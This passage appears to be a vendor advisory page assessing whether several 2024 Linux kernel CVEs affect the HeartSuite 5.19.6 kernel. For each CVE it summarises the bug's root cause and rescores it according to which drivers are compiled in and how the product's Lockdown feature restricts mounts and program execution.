The USB-audio driver does not validate bLength of each descriptor when traversing clock descriptors, allowing a malformed USB device to cause an out-of-bounds read. CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 kernel configuration; the USB audio driver and this descriptor-traversal path are absent from the compiled kernel image.

CVE-2024-53170

Status: Affected Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In blk_mq_exit_hctx() at block/blk-mq.c:3440, the call to blk_mq_clear_flush_rq_mapping() (line 3441) is guarded by if (blk_queue_init_done(q)). During SCSI device probe, the queue is not yet fully initialized, so this condition is false and blk_mq_clear_flush_rq_mapping() is skipped. The function is responsible for atomically clearing the flush_rq pointer from every slot in tags->rqs[]. When skipped, flush_rq is subsequently freed but its pointer remains live in the rqs[] array. Any later iteration over tags->rqs[] — such as during a tag-set teardown or request lookup — dereferences the stale pointer, constituting a use-after-free.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The SCSI subsystem underpins block storage on Debian 11 via libata; the vulnerable path is triggered during SCSI probe teardown when initialization does not complete successfully. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-53173

Status: Not exploitable Component: NFS v4 client (CONFIG_NFS_V4) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; no NFS v4 share reachable on HS deployments Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

nfs_release_seqid() at fs/nfs/nfs4state.c:1088 removes a seqid from the sequence wait-list and wakes the next waiter (rpc_wake_up_queued_task() at line 1102). When two threads open the same file concurrently and both abort before receiving a reply, two separate code paths each call nfs_release_seqid() on the same nfs_seqid: the prepare callback at fs/nfs/nfs4proc.c:2462 (when nfs4_setup_sequence() returns non-zero) and the done/release callback at line 2061. The second call finds seqid->list already empty and returns without action, but by this point nfs_free_seqid() may have freed the seqid object. The task woken by the first release can dereference seqid->sequence through the nfs_seqid pointer it holds — now pointing to freed memory — constituting a use-after-free.

CONFIG_NFS_V4=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable seqid use-after-free path is only reachable when an NFS v4 share is mounted. On a Root Lock by HeartSuite system, Lockdown blocks mount() unconditionally — do_mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c:4218, 4300, 4453). No NFS v4 filesystem can be mounted by any process, so the vulnerable code path is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-53214

Status: Not Affected Component: VFIO subsystem (CONFIG_VFIO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_VFIO not compiled

In drivers/vfio/pci/vfio_pci_config.c, the VFIO PCI extended-capability enumeration loop at line 1638 hides capabilities with unknown length by rewriting the next pointer in the previous entry’s header. When a capability should be hidden but occupies the first position in the extended-capability chain, the pointer fixup path has incorrect behaviour, allowing a misconfigured or malicious guest to reach memory it should not. CONFIG_VFIO is not set in the HS 5.19.6 kernel configuration; the VFIO subsystem and this PCI config-space virtualisation path are absent from the compiled kernel image.

CVE-2024-53227

Status: Not Affected Component: Brocade bfa FC driver (CONFIG_SCSI_BFA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_BFA_FC not compiled

In the Brocade bfa Fibre Channel adapter driver (drivers/scsi/bfa/), a use-after-free occurs during driver load: an internal object containing an embedded spinlock is freed while lockdep still holds a reference to that lock, producing a KASAN slab-use-after-free splat inside __lock_acquire. CONFIG_SCSI_BFA_FC is not set in the HS 5.19.6 kernel configuration; the Brocade bfa driver is absent from the compiled kernel image.

CVE-2024-53239

Status: Not Affected Component: 6fire USB audio driver (CONFIG_SND_USB_6FIRE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_6FIRE not compiled

In the TerraTec AUREON 6fire USB audio driver (sound/usb/6fire/chip.c), usb6fire_chip_disconnect() calls usb6fire_chip_abort() at line 183 — which schedules a deferred snd_card_free_when_closed() and nulls chip->card — immediately followed by usb6fire_chip_destroy() at line 184, which frees the underlying sub-resources. When userspace still holds the card open, the deferred free races against the destroy path, producing a use-after-free. CONFIG_SND_USB_6FIRE is not set in the HS 5.19.6 kernel configuration; the driver is absent from the compiled kernel image.

CVE-2024-56609

Status: Not Affected Component: Realtek rtw88 WiFi driver (CONFIG_RTW88) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_RTW88 not compiled

In the Realtek rtw88 802.11ac/ax wireless driver (drivers/net/wireless/realtek/rtw88/tx.c), rtw_tx_report_purge_timer() at line 160 calls skb_queue_purge() at line 172 to discard queued TX-report SKBs when the firmware fails to acknowledge them. Because ieee80211_tx_status() is never called for the discarded SKBs, mac80211 retains a reference to the associated station structure after it has been freed, producing a use-after-free during driver teardown. CONFIG_RTW88 is not set in the HS 5.19.6 kernel configuration; the rtw88 driver family is absent from the compiled kernel image.